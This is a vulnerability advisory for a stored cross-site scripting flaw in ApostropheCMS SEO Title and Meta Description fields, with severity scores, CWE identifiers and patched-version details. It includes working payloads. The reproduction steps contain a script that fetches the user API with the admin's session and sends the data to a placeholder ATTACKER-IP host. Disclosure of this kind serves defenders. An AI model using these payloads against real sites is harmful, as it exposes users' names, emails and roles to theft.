Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Description

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

  • <title>
  • <meta> attributes
  • structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

"></title><script>alert(1)</script>

This confirms:
- Improper output encoding
- Ability to escape <title> / <meta> contexts
- Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

  1. Start a local listener: python3 -m http.server 5656
  2. Login to ApostropheCMS as an authenticated user
  3. Create or edit a page
  4. Navigate to SEO settings
  5. Insert the payload into the SEO Title field and Meta Description
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
  1. Set Schema Type to "Web page"
  2. Save and publish the page
  3. Have an administrator visit the page

Result

  • The payload executes in the admin’s browser
  • The script sends a request to: /api/v1/@apostrophecms/user
  • The response contains sensitive user data:
  • usernames
  • email addresses
  • roles (including admin)

  • The data is exfiltrated to the attacker-controlled server:

  • http://ATTACKER-IP:5656

Evidence

  • The attacker server receives:
  • GET /?data=BASE64_ENCODED_RESPONSE
  • Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to:
- Execute arbitrary JavaScript in an authenticated admin context
- Perform authenticated API requests (session riding)
- Access sensitive application data via internal APIs
- Exfiltrate sensitive data to an external attacker-controlled server

## References
- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
- https://www.cve.org/CVERecord?id=CVE-2026-35569
- https://nvd.nist.gov/vuln/detail/CVE-2026-35569
- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-16 20:44:18 UTC
Updated
2026-04-30 20:08:18 UTC
GitHub reviewed
2026-04-16 20:44:18 UTC
NVD published
2026-04-15

EPSS Score

Score Percentile
0.03% 9.28%

CVSS Scores

Base score Version Severity Vector
8.7 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-116 Improper Encoding or Escaping of Output

Credits

  • Chittu13 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm apostrophe <= 4.28.0 4.29.0

References

cvelogic Threat Intelligence